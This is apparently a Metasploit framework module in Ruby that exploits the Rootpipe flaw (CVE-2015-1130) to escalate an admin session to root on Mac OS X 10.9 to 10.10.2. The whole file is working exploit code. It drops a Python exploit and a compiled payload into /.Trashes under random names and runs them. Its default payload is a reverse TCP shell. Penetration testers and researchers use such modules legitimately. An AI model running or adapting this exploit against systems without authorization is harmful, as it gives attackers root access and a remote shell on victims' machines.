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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = GreatRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Post::OSX::System
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apple OS X Rootpipe Privilege Escalation',
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      'Description'    => %q{
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        This module exploits a hidden backdoor API in Apple's Admin framework on
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        Mac OS X to escalate privileges to root, dubbed "Rootpipe."
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        This module was tested on Yosemite 10.10.2 and should work on previous versions.
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        The patch for this issue was not backported to older releases.
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        Note: you must run this exploit as an admin user to escalate to root.
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      },
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      'Author'         => [
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        'Emil Kvarnhammar', # Vulnerability discovery and PoC
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        'joev',             # Copy/paste monkey
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        'wvu'               # Meta copy/paste monkey
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      ],
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      'References'     => [
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        ['CVE',   '2015-1130'],
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        ['OSVDB', '114114'],
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        ['EDB',   '36692'],
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        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
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      ],
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      'DisclosureDate' => '2015-04-09',
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      'License'        => MSF_LICENSE,
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      'Platform'       => 'osx',
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      'Arch'           => ARCH_X64,
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      'SessionTypes'   => ['shell'],
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      'Privileged'     => true,
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      'Targets'        => [
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        ['Mac OS X 10.9-10.10.2', {}]
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      ],
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      'DefaultTarget'  => 0,
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      'DefaultOptions' => {
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        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
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        'PrependSetreuid' => true
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      }
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    ))
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    register_options [
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      OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python'])
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    ]
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
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    ]
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def check
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    (ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    unless is_admin?
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      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
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    end
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    if check != CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    print_status("Writing exploit to `#{exploit_file}'")
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    write_file(exploit_file, python_exploit)
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    register_file_for_cleanup(exploit_file)
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    print_status("Writing payload to `#{payload_file}'")
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    write_file(payload_file, binary_payload)
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    register_file_for_cleanup(payload_file)
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    print_status('Executing exploit...')
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    cmd_exec(sploit)
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    print_status('Executing payload...')
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    cmd_exec(payload_file)
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  end
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  def ver?
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    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
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      Rex::Version.new('10.9'), Rex::Version.new('10.10.2')
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    )
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  end
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  def sploit
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    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
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  end
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  def python_exploit
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    File.read(File.join(
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      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
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    ))
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  end
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  def binary_payload
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    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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  end
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  def exploit_file
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    @exploit_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
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  end
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  def payload_file
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    @payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
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  end
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end
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